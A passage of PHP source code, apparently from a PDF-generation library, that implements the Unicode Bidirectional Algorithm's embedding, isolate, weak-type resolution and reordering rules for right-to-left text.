a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to left-to-right. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + 2 - ($cel % 2); if ($next_level < 62) { $remember[] = ['num' => 8237, 'cel' => $cel, 'dos' => $dos]; $cel = $next_level; $dos = Ucdn::BIDI_CLASS_L; } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8236) { // PDF // X7. With each PDF, determine the matching embedding or override code. If there was a valid matching code, restore (pop) the last remembered (pushed) embedding level and directional override. if (count($remember)) { $last = count($remember) - 1; if (($remember[$last]['num'] == 8235) || ($remember[$last]['num'] == 8234) || ($remember[$last]['num'] == 8238) || ($remember[$last]['num'] == 8237)) { $match = array_pop($remember); $cel = $match['cel']; $dos = $match['dos']; } } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 10) { // NEW LINE // Reset to start values $cel = $pel; $dos = -1; $remember = []; } else { // X6. For all types besides RLE, LRE, RLO, LRO, and PDF: // a. Set the level of the current character to the current embedding level. // b. When the directional override status is not neutral, reset the current character type to directional override status. if ($dos != -1) { $chardir = $dos; } else { $chardir = $chunkOTLdata['char_data'][$i]['bidi_class']; } // stores string characters and other information if (isset($chunkOTLdata['GPOSinfo'][$i])) { $gpos = $chunkOTLdata['GPOSinfo'][$i]; } else { $gpos = ''; } $chardata[] = ['char' => $chunkOTLdata['char_data'][$i]['uni'], 'level' => $cel, 'type' => $chardir, 'group' => $chunkOTLdata['group'][$i], 'GPOSinfo' => $gpos]; } } $numchars = count($chardata); // X8. All explicit directional embeddings and overrides are completely terminated at the end of each paragraph. // Paragraph separators are not included in the embedding. // X9. Remove all RLE, LRE, RLO, LRO, and PDF codes. // This is effectively done by only saving other codes to chardata // X10. Determine the start-of-sequence (sor) and end-of-sequence (eor) types, either L or R, for each isolating run sequence. These depend on the higher of the two levels on either side of the sequence boundary: // For sor, compare the level of the first character in the sequence with the level of the character preceding it in the paragraph or if there is none, with the paragraph embedding level. // For eor, compare the level of the last character in the sequence with the level of the character following it in the paragraph or if there is none, with the paragraph embedding level. // If the higher level is odd, the sor or eor is R; otherwise, it is L. $prelevel = $pel; $postlevel = $pel; $cel = $prelevel; // current embedding level for ($i = 0; $i < $numchars; ++$i) { $level = $chardata[$i]['level']; if ($i == 0) { $left = $prelevel; } else { $left = $chardata[$i - 1]['level']; } if ($i == ($numchars - 1)) { $right = $postlevel; } else { $right = $chardata[$i + 1]['level']; } $chardata[$i]['sor'] = max($left, $level) % 2 ? Ucdn::BIDI_CLASS_R : Ucdn::BIDI_CLASS_L; $chardata[$i]['eor'] = max($right, $level) % 2 ? Ucdn::BIDI_CLASS_R : Ucdn::BIDI_CLASS_L; } // 3.3.3 Resolving Weak Types // Weak types are now resolved one level run at a time. At level run boundaries where the type of the character on the other side of the boundary is required, the type assigned to sor or eor is used. // Nonspacing marks are now resolved based on the previous characters. // W1. Examine each nonspacing mark (NSM) in the level run, and change the type of the NSM to the type of the previous character. If the NSM is at the start of the level run, it will get the type of sor. for ($i = 0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_NSM) { if ($i == 0 || $chardata[$i]['level'] != $chardata[$i - 1]['level']) { $chardata[$i]['type'] = $chardata[$i]['sor']; } else { $chardata[$i]['type'] = $chardata[($i - 1)]['type']; } } } // W2. Search backward from each instance of a European number until the first strong type (R, L, AL, or sor) is found. If an AL is found, change the type of the European number to Arabic number. $prevlevel = -1; $levcount = 0; for ($i = 0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_EN) { $found = false; for ($j = $levcount; $j >= 0; $j--) { if ($chardata[$j]['type'] == Ucdn::BIDI_CLASS_AL) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_AN; $found = true; break; } elseif (($chardata[$j]['type'] == Ucdn::BIDI_CLASS_L) || ($chardata[$j]['type'] == Ucdn::BIDI_CLASS_R)) { $found = true; break; } } } if ($chardata[$i]['level'] != $prevlevel) { $levcount = 0; } else { ++$levcount; } $prevlevel = $chardata[$i]['level']; } // W3. Change all ALs to R. for ($i = 0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_AL) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_R; } } // W4. A single European separator between two European numbers changes to a European number. A single common separator between two numbers of the same type changes to that type. for ($i = 1; $i < $numchars; ++$i) { if (($i + 1) < $numchars && $chardata[($i)]['level'] == $chardata[($i + 1)]['level'] && $chardata[($i)]['level'] == $chardata[($i - 1)]['level']) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ES && $chardata[($i - 1)]['type'] == Ucdn::BIDI_CLASS_EN && $chardata[($i + 1)]['type'] == Ucdn::BIDI_CLASS_EN) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_EN; } elseif ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_CS && $chardata[($i - 1)]['type'] == Ucdn::BIDI_CLASS_EN && $chardata[($i + 1)]['type'] == Ucdn::BIDI_CLASS_EN) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_EN; } elseif ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_CS && $chardata[($i - 1)]['type'] == Ucdn::BIDI_CLASS_AN && $chardata[($i + 1)]['type'] == Ucdn::BIDI_CLASS_AN) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_AN; } } } // W5. A sequence of European terminators adjacent to European numbers changes to all European numbers. for ($i = 0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ET) { if ($i > 0 && $chardata[($i - 1)]['type'] == Ucdn::BIDI_CLASS_EN && $chardata[($i)]['level'] == $chardata[($i - 1)]['level']) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_EN; } else { $j = $i + 1; while ($j < $numchars && $chardata[$j]['level'] == $chardata[$i]['level']) { if ($chardata[$j]['type'] == Ucdn::BIDI_CLASS_EN) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_EN; break; } elseif ($chardata[$j]['type'] != Ucdn::BIDI_CLASS_ET) { break; } ++$j; } } } } // W6. Otherwise, separators and terminators change to Other Neutral. for ($i = 0; $i < $numchars; ++$i) { if (($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ET) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ES) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_CS)) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_ON; } } //W7. Search backward from each instance of a European number until the first strong type (R, L, or sor) is found. If an L is found, then change the type of the European number to L. for ($i = 0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_EN) { if ($i == 0) { // Start of Level run if ($chardata[$i]['sor'] == Ucdn::BIDI_CLASS_L) { $chardata[$i]['type'] = $chardata[$i]['sor']; } } else { for ($j = $i - 1; $j >= 0; $j--) { if ($chardata[$j]['level'] != $chardata[$i]['level']) { // Level run boundary if ($chardata[$j + 1]['sor'] == Ucdn::BIDI_CLASS_L) { $chardata[$i]['type'] = $chardata[$j + 1]['sor']; } break; } elseif ($chardata[$j]['type'] == Ucdn::BIDI_CLASS_L) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_L; break; } elseif ($chardata[$j]['type'] == Ucdn::BIDI_CLASS_R) { break; } } } } } // N1. A sequence of neutrals takes the direction of the surrounding strong text if the text on both sides has the same direction. European and Arabic numbers act as if they were R in terms of their influence on neutrals. Start-of-level-run (sor) and end-of-level-run (eor) are used at level run boundaries. for ($i = 0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ON || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_WS) { $left = -1; // LEFT if ($i == 0) { // first char $left = $chardata[($i)]['sor']; } elseif ($chardata[($i - 1)]['level'] != $chardata[($i)]['level']) { // run boundary $left = $chardata[($i)]['sor']; } elseif ($chardata[($i - 1)]['type'] == Ucdn::BIDI_CLASS_L) { $left = Ucdn::BIDI_CLASS_L; } elseif ($chardata[($i - 1)]['type'] == Ucdn::BIDI_CLASS_R || $chardata[($i - 1)]['type'] == Ucdn::BIDI_CLASS_EN || $chardata[($i - 1)]['type'] == Ucdn::BIDI_CLASS_AN) { $left = Ucdn::BIDI_CLASS_R; } // RIGHT $right = -1; $j = $i; // move to the right of any following neutrals OR hit a run boundary while (($chardata[$j]['type'] == Ucdn::BIDI_CLASS_ON || $chardata[$j]['type'] == Ucdn::BIDI_CLASS_WS) && $j <= ($numchars - 1)) { if ($j == ($numchars - 1)) { // last char $right = $chardata[($j)]['eor']; break; } elseif ($chardata[($j + 1)]['level'] != $chardata[($j)]['level']) { // run boundary $right = $chardata[($j)]['eor']; break; } elseif ($chardata[($j + 1)]['type'] == Ucdn::BIDI_CLASS_L) { $right = Ucdn::BIDI_CLASS_L; break; } elseif ($chardata[($j + 1)]['type'] == Ucdn::BIDI_CLASS_R || $chardata[($j + 1)]['type'] == Ucdn::BIDI_CLASS_EN || $chardata[($j + 1)]['type'] == Ucdn::BIDI_CLASS_AN) { $right = Ucdn::BIDI_CLASS_R; break; } $j++; } if ($left > -1 && $left == $right) { $chardata[$i]['orig_type'] = $chardata[$i]['type']; // Need to store the original 'WS' for reference in L1 below $chardata[$i]['type'] = $left; } } } // N2. Any remaining neutrals take the embedding direction for ($i = 0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ON || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_WS) { $chardata[$i]['type'] = ($chardata[$i]['level'] % 2) ? Ucdn::BIDI_CLASS_R : Ucdn::BIDI_CLASS_L; $chardata[$i]['orig_type'] = $chardata[$i]['type']; // Need to store the original 'WS' for reference in L1 below } } // I1. For all characters with an even (left-to-right) embedding direction, those of type R go up one level and those of type AN or EN go up two levels. // I2. For all characters with an odd (right-to-left) embedding direction, those of type L, EN or AN go up one level. for ($i = 0; $i < $numchars; ++$i) { $odd = $chardata[$i]['level'] % 2; if ($odd) { if (($chardata[$i]['type'] == Ucdn::BIDI_CLASS_L) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_AN) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_EN)) { $chardata[$i]['level'] += 1; } } else { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_R) { $chardata[$i]['level'] += 1; } elseif (($chardata[$i]['type'] == Ucdn::BIDI_CLASS_AN) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_EN)) { $chardata[$i]['level'] += 2; } } $maxlevel = max($chardata[$i]['level'], $maxlevel); } // NB // Separate into lines at this point************ // // L1. On each line, reset the embedding level of the following characters to the paragraph embedding level: // 1. Segment separators (Tab) 'S', // 2. Paragraph separators 'B', // 3. Any sequence of whitespace characters 'WS' preceding a segment separator or paragraph separator, and // 4. Any sequence of whitespace characters 'WS' at the end of the line. // The types of characters used here are the original types, not those modified by the previous phase cf N1 and N2******* // Because a Paragraph Separator breaks lines, there will be at most one per line, at the end of that line. for ($i = ($numchars - 1); $i > 0; $i--) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_WS || (isset($chardata[$i]['orig_type']) && $chardata[$i]['orig_type'] == Ucdn::BIDI_CLASS_WS)) { $chardata[$i]['level'] = $pel; } else { break; } } // L2. From the highest level found in the text to the lowest odd level on each line, including intermediate levels not actually present in the text, reverse any contiguous sequence of characters that are at that level or higher. for ($j = $maxlevel; $j > 0; $j--) { $ordarray = []; $revarr = []; $onlevel = false; for ($i = 0; $i < $numchars; ++$i) { if ($chardata[$i]['level'] >= $j) { $onlevel = true; // L4. A character is depicted by a mirrored glyph if and only if (a) the resolved directionality of that character is R, and (b) the Bidi_Mirrored property value of that character is true. if (isset(Ucdn::$mirror_pairs[$chardata[$i]['char']]) && $chardata[$i]['type'] == Ucdn::BIDI_CLASS_R) { $chardata[$i]['char'] = Ucdn::$mirror_pairs[$chardata[$i]['char']]; } $revarr[] = $chardata[$i]; } else { if ($onlevel) { $revarr = array_reverse($revarr); $ordarray = array_merge($ordarray, $revarr); $revarr = []; $onlevel = false; } $ordarray[] = $chardata[$i]; } } if ($onlevel) { $revarr = array_reverse($revarr); $ordarray = array_merge($ordarray, $revarr); } $chardata = $ordarray; } $group = ''; $e = ''; $GPOS = []; $cctr = 0; $rtl_content = 0x0; foreach ($chardata as $cd) { $e .= UtfString::code2utf($cd['char']); $group .= $cd['group']; if ($useGPOS && is_array($cd['GPOSinfo'])) { $GPOS[$cctr] = $cd['GPOSinfo']; $GPOS[$cctr]['wDir'] = ($cd['level'] % 2) ? 'RTL' : 'LTR'; } if ($cd['type'] == Ucdn::BIDI_CLASS_L) { $rtl_content |= 1; } elseif ($cd['type'] == Ucdn::BIDI_CLASS_R) { $rtl_content |= 2; } $cctr++; } $chunkOTLdata['group'] = $group; if ($useGPOS) { $chunkOTLdata['GPOSinfo'] = $GPOS; } return [$e, $rtl_content]; } /** * The following versions for BidiSort work on amalgamated chunks to process the whole paragraph * * Firstly set the level in the OTLdata - called from fn printbuffer() [_bidiPrepare] * Secondly re-order - called from fn writeFlowingBlock and FinishFlowingBlock, when already divided into lines. [_bidiReorder] */ public function bidiPrepare(&$para, $dir) { // Set the initial paragraph embedding level $pel = 0; // paragraph embedding level if ($dir == 'rtl') { $pel = 1; } // X1. Begin by setting the current embedding level to the paragraph embedding level. Set the directional override status to neutral. // Current Embedding Level $cel = $pel; // directional override status (-1 is Neutral) $dos = -1; $remember = []; $controlchars = false; $strongrtl = false; $diid = 0; // direction isolate ID $dictr = 0; // direction isolate counter // Process each character iteratively, applying rules X2 through X9. Only embedding levels from 0 to 61 are valid in this phase. // In the resolution of levels in rules I1 and I2, the maximum embedding level of 62 can be reached. $numchunks = count($para); for ($nc = 0; $nc < $numchunks; $nc++) { $chunkOTLdata = & $para[$nc][18]; $numchars = count($chunkOTLdata['char_data']); for ($i = 0; $i < $numchars; ++$i) { if ($chunkOTLdata['char_data'][$i]['uni'] == 8235) { // RLE // X2. With each RLE, compute the least greater odd embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to neutral. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + ($cel % 2) + 1; if ($next_level < 62) { $remember[] = ['num' => 8235, 'cel' => $cel, 'dos' => $dos]; $cel = $next_level; $dos = -1; $controlchars = true; } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8234) { // LRE // X3. With each LRE, compute the least greater even embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to neutral. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + 2 - ($cel % 2); if ($next_level < 62) { $remember[] = ['num' => 8234, 'cel' => $cel, 'dos' => $dos]; $cel = $next_level; $dos = -1; $controlchars = true; } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8238) { // RLO // X4. With each RLO, compute the least greater odd embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to right-to-left. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + ($cel % 2) + 1; if ($next_level < 62) { $remember[] = ['num' => 8238, 'cel' => $cel, 'dos' => $dos]; $cel = $next_level; $dos = Ucdn::BIDI_CLASS_R; $controlchars = true; } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8237) { // LRO // X5. With each LRO, compute the least greater even embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to left-to-right. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + 2 - ($cel % 2); if ($next_level < 62) { $remember[] = ['num' => 8237, 'cel' => $cel, 'dos' => $dos]; $cel = $next_level; $dos = Ucdn::BIDI_CLASS_L; $controlchars = true; } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8236) { // PDF // X7. With each PDF, determine the matching embedding or override code. If there was a valid matching code, restore (pop) the last remembered (pushed) embedding level and directional override. if (count($remember)) { $last = count($remember) - 1; if (($remember[$last]['num'] == 8235) || ($remember[$last]['num'] == 8234) || ($remember[$last]['num'] == 8238) || ($remember[$last]['num'] == 8237)) { $match = array_pop($remember); $cel = $match['cel']; $dos = $match['dos']; } } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8294 || $chunkOTLdata['char_data'][$i]['uni'] == 8295 || $chunkOTLdata['char_data'][$i]['uni'] == 8296) { // LRI // RLI // FSI // X5a. With each RLI: // X5b. With each LRI: // X5c. With each FSI, apply rules P2 and P3 for First Strong character // Set the RLI/LRI/FSI embedding level to the embedding level of the last entry on the directional status stack. if ($dos != -1) { $chardir = $dos; } else { $chardir = $chunkOTLdata['char_data'][$i]['bidi_class']; } $chunkOTLdata['char_data'][$i]['level'] = $cel; $chunkOTLdata['char_data'][$i]['type'] = $chardir; $chunkOTLdata['char_data'][$i]['diid'] = $diid; $fsi = ''; // X5c. With each FSI, apply rules P2 and P3 within the isolate run for First Strong character if ($chunkOTLdata['char_data'][$i]['uni'] == 8296) { // FSI $lvl = 0; $nc2 = $nc; $i2 = $i; while (!($nc2 == ($numchunks - 1) && $i2 == ((count($para[$nc2][18]['char_data'])) - 1))) { // while not at end of last chunk $i2++; if ($i2 >= count($para[$nc2][18]['char_data'])) { $nc2++; $i2 = 0; } if ($lvl > 0) { continue; } if ($para[$nc2][18]['char_data'][$i2]['uni'] == 8294 || $para[$nc2][18]['char_data'][$i2]['uni'] == 8295 || $para[$nc2][18]['char_data'][$i2]['uni'] == 8296) { $lvl++; continue; } if ($para[$nc2][18]['char_data'][$i2]['uni'] == 8297) { $lvl--; if ($lvl < 0) { break; } } if ($para[$nc2][18]['char_data'][$i2]['bidi_class'] === Ucdn::BIDI_CLASS_L || $para[$nc2][18]['char_data'][$i2]['bidi_class'] == Ucdn::BIDI_CLASS_AL || $para[$nc2][18]['char_data'][$i2]['bidi_class'] === Ucdn::BIDI_CLASS_R) { $fsi = $para[$nc2][18]['char_data'][$i2]['bidi_class']; break; } } // if fsi not found, fsi is same as paragraph embedding level if (!$fsi && $fsi !== 0) { if ($pel == 1) { $fsi = Ucdn::BIDI_CLASS_R; } else { $fsi = Ucdn::BIDI_CLASS_L; } } } if ($chunkOTLdata['char_data'][$i]['uni'] == 8294 || $fsi === Ucdn::BIDI_CLASS_L) { // LRI or FSI-L // Compute the least even embedding level greater than the embedding level of the last entry on the directional status stack. $next_level = $cel + 2 - ($cel % 2); } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8295 || $fsi == Ucdn::BIDI_CLASS_R || $fsi == Ucdn::BIDI_CLASS_AL) { // RLI or FSI-R // Compute the least odd embedding level greater than the embedding level of the last entry on the directional status stack. $next_level = $cel + ($cel % 2) + 1; } // Increment the isolate count by one, and push an entry consisting of the new embedding level, // neutral directional override status, and true directional isolate status onto the directional status stack. $remember[] = ['num' => $chunkOTLdata['char_data'][$i]['uni'], 'cel' => $cel, 'dos' => $dos, 'diid' => $diid]; $cel = $next_level; $dos = -1; $diid = ++$dictr; // Set new direction isolate ID after incrementing direction isolate counter $controlchars = true; } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8297) { // PDI // X6a. With each PDI, perform the following steps: // Pop the last entry from the directional status stack and decrement the isolate count by one. while (count($remember)) { $last = count($remember) - 1; if (($remember[$last]['num'] == 8294) || ($remember[$last]['num'] == 8295) || ($remember[$last]['num'] == 8296)) { $match = array_pop($remember); $cel = $match['cel']; $dos = $match['dos']; $diid = $match['diid']; break; } // End/close any open embedding states not explicitly closed during the isolate elseif (($remember[$last]['num'] == 8235) || ($remember[$last]['num'] == 8234) || ($remember[$last]['num'] == 8238) || ($remember[$last]['num'] == 8237)) { $match = array_pop($remember); } } // In all cases, set the PDI’s level to the embedding level of the last entry on the directional status stack left after the steps above. // NB The level assigned to an isolate initiator is always the same as that assigned to the matching PDI. if ($dos != -1) { $chardir = $dos; } else { $chardir = $chunkOTLdata['char_data'][$i]['bidi_class']; } $chunkOTLdata['char_data'][$i]['level'] = $cel; $chunkOTLdata['char_data'][$i]['type'] = $chardir; $chunkOTLdata['char_data'][$i]['diid'] = $diid; $controlchars = true; } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 10) { // NEW LINE // Reset to start values $cel = $pel; $dos = -1; $remember = []; } else { // X6. For all types besides RLE, LRE, RLO, LRO, and PDF: // a. Set the level of the current character to the current embedding level. // b. When the directional override status is not neutral, reset the current character type to directional override status. if ($dos != -1) { $chardir = $dos; } else { $chardir = $chunkOTLdata['char_data'][$i]['bidi_class']; if ($chardir == Ucdn::BIDI_CLASS_R || $chardir == Ucdn::BIDI_CLASS_AL) { $strongrtl = true; } } $chunkOTLdata['char_data'][$i]['level'] = $cel; $chunkOTLdata['char_data'][$i]['type'] = $chardir; $chunkOTLdata['char_data'][$i]['diid'] = $diid; } } // X8. All explicit directional embeddings and overrides are completely terminated at the end of each paragraph. // Paragraph separators are not included in the embedding. // X9. Remove all RLE, LRE, RLO, LRO, and PDF codes. if ($controlchars) { $this->removeChar($para[$nc][0], $para[$nc][18], "\xe2\x80\xaa"); $this->removeChar($para[$nc][0], $para[$nc][18], "\xe2\x80\xab"); $this->removeChar($para[$nc][0], $para[$nc][18], "\xe2\x80\xac"); $this->removeChar($para[$nc][0], $para[$nc][18], "\xe2\x80\xad"); $this->removeChar($para[$nc][0], $para[$nc][18], "\xe2\x80\xae"); preg_replace("/\x{202a}-\x{202e}/u", '', $para[$nc][0]); } } // Remove any blank chunks made by removing directional codes $numchunks = count($para); for ($nc = ($numchunks - 1); $nc >= 0; $nc--) { if (count($para[$nc][18]['char_data']) == 0) { array_splice($para, $nc, 1); } } if ($dir != 'rtl' && !$strongrtl && !$controlchars) { return; } $numchunks = count($para); // X10. Determine the start-of-sequence (sor) and end-of-sequence (eor) types, either L or R, for each isolating run sequence. These depend on the higher of the two levels on either side of the sequence boundary: // For sor, compare the level of the first character in the sequence with the level of the character preceding it in the paragraph or if there is none, with the paragraph embedding level. // For eor, compare the level of the last character in the sequence with the level of the character following it in the paragraph or if there is none, with the paragraph embedding level. // If the higher level is odd, the sor or eor is R; otherwise, it is L. for ($ir = 0; $ir <= $dictr; $ir++) { $prelevel = $pel; $postlevel = $pel; $firstchar = true; for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (!isset($chardata[$i]['diid']) || $chardata[$i]['diid'] != $ir) { continue; } // Ignore characters in a different isolate run $right = $postlevel; $nc2 = $nc; $i2 = $i; while (!($nc2 == ($numchunks - 1) && $i2 == ((count($para[$nc2][18]['char_data'])) - 1))) { // while not at end of last chunk $i2++; if ($i2 >= count($para[$nc2][18]['char_data'])) { $nc2++; $i2 = 0; } if (isset($para[$nc2][18]['char_data'][$i2]['diid']) && $para[$nc2][18]['char_data'][$i2]['diid'] == $ir) { $right = $para[$nc2][18]['char_data'][$i2]['level']; break; } } $level = $chardata[$i]['level']; if ($firstchar || $level != $prelevel) { $chardata[$i]['sor'] = max($prelevel, $level) % 2 ? Ucdn::BIDI_CLASS_R : Ucdn::BIDI_CLASS_L; } if (($nc == ($numchunks - 1) && $i == ($numchars - 1)) || $level != $right) { $chardata[$i]['eor'] = max($right, $level) % 2 ? Ucdn::BIDI_CLASS_R : Ucdn::BIDI_CLASS_L; } $prelevel = $level; $firstchar = false; } } } // 3.3.3 Resolving Weak Types // Weak types are now resolved one level run at a time. At level run boundaries where the type of the character on the other side of the boundary is required, the type assigned to sor or eor is used. // Nonspacing marks are now resolved based on the previous characters. // W1. Examine each nonspacing mark (NSM) in the level run, and change the type of the NSM to the type of the previous character. If the NSM is at the start of the level run, it will get the type of sor. for ($ir = 0; $ir <= $dictr; $ir++) { $prevtype = 0; for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (!isset($chardata[$i]['diid']) || $chardata[$i]['diid'] != $ir) { continue; } // Ignore characters in a different isolate run if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_NSM) { if (isset($chardata[$i]['sor'])) { $chardata[$i]['type'] = $chardata[$i]['sor']; } else { $chardata[$i]['type'] = $prevtype; } } $prevtype = $chardata[$i]['type']; } } } // W2. Search backward from each instance of a European number until the first strong type (R, L, AL or sor) is found. If an AL is found, change the type of the European number to Arabic number. for ($ir = 0; $ir <= $dictr; $ir++) { $laststrongtype = -1; for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (!isset($chardata[$i]['diid']) || $chardata[$i]['diid'] != $ir) { continue; } // Ignore characters in a different isolate run if (isset($chardata[$i]['sor'])) { $laststrongtype = $chardata[$i]['sor']; } if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_EN && $laststrongtype == Ucdn::BIDI_CLASS_AL) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_AN; } if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_L || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_R || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_AL) { $laststrongtype = $chardata[$i]['type']; } } } } // W3. Change all ALs to R. for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (isset($chardata[$i]['type']) && $chardata[$i]['type'] == Ucdn::BIDI_CLASS_AL) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_R; } } } // W4. A single European separator between two European numbers changes to a European number. A single common separator between two numbers of the same type changes to that type. for ($ir = 0; $ir <= $dictr; $ir++) { $prevtype = -1; $nexttype = -1; for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (!isset($chardata[$i]['diid']) || $chardata[$i]['diid'] != $ir) { continue; } // Ignore characters in a different isolate run // Get next type $nexttype = -1; $nc2 = $nc; $i2 = $i; while (!($nc2 == ($numchunks - 1) && $i2 == ((count($para[$nc2][18]['char_data'])) - 1))) { // while not at end of last chunk $i2++; if ($i2 >= count($para[$nc2][18]['char_data'])) { $nc2++; $i2 = 0; } if (isset($para[$nc2][18]['char_data'][$i2]['diid']) && $para[$nc2][18]['char_data'][$i2]['diid'] == $ir) { $nexttype = $para[$nc2][18]['char_data'][$i2]['type']; break; } } if (!isset($chardata[$i]['sor']) && !isset($chardata[$i]['eor'])) { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ES && $prevtype == Ucdn::BIDI_CLASS_EN && $nexttype == Ucdn::BIDI_CLASS_EN) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_EN; } elseif ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_CS && $prevtype == Ucdn::BIDI_CLASS_EN && $nexttype == Ucdn::BIDI_CLASS_EN) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_EN; } elseif ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_CS && $prevtype == Ucdn::BIDI_CLASS_AN && $nexttype == Ucdn::BIDI_CLASS_AN) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_AN; } } $prevtype = $chardata[$i]['type']; } } } // W5. A sequence of European terminators adjacent to European numbers changes to all European numbers. for ($ir = 0; $ir <= $dictr; $ir++) { $prevtype = -1; $nexttype = -1; for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (!isset($chardata[$i]['diid']) || $chardata[$i]['diid'] != $ir) { continue; } // Ignore characters in a different isolate run if (isset($chardata[$i]['sor'])) { $prevtype = $chardata[$i]['sor']; } if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ET) { if ($prevtype == Ucdn::BIDI_CLASS_EN) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_EN; } elseif (!isset($chardata[$i]['eor'])) { $nexttype = -1; $nc2 = $nc; $i2 = $i; while (!($nc2 == ($numchunks - 1) && $i2 == ((count($para[$nc2][18]['char_data'])) - 1))) { // while not at end of last chunk $i2++; if ($i2 >= count($para[$nc2][18]['char_data'])) { $nc2++; $i2 = 0; } if (!isset($para[$nc2][18]['char_data'][$i2]['diid']) || $para[$nc2][18]['char_data'][$i2]['diid'] != $ir) { continue; } $nexttype = $para[$nc2][18]['char_data'][$i2]['type']; if (isset($para[$nc2][18]['char_data'][$i2]['sor'])) { break; } if ($nexttype == Ucdn::BIDI_CLASS_EN) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_EN; break; } elseif ($nexttype != Ucdn::BIDI_CLASS_ET) { break; } } } } $prevtype = $chardata[$i]['type']; } } } // W6. Otherwise, separators and terminators change to Other Neutral. for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (isset($chardata[$i]['type']) && (($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ET) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ES) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_CS))) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_ON; } } } //W7. Search backward from each instance of a European number until the first strong type (R, L, or sor) is found. If an L is found, then change the type of the European number to L. for ($ir = 0; $ir <= $dictr; $ir++) { 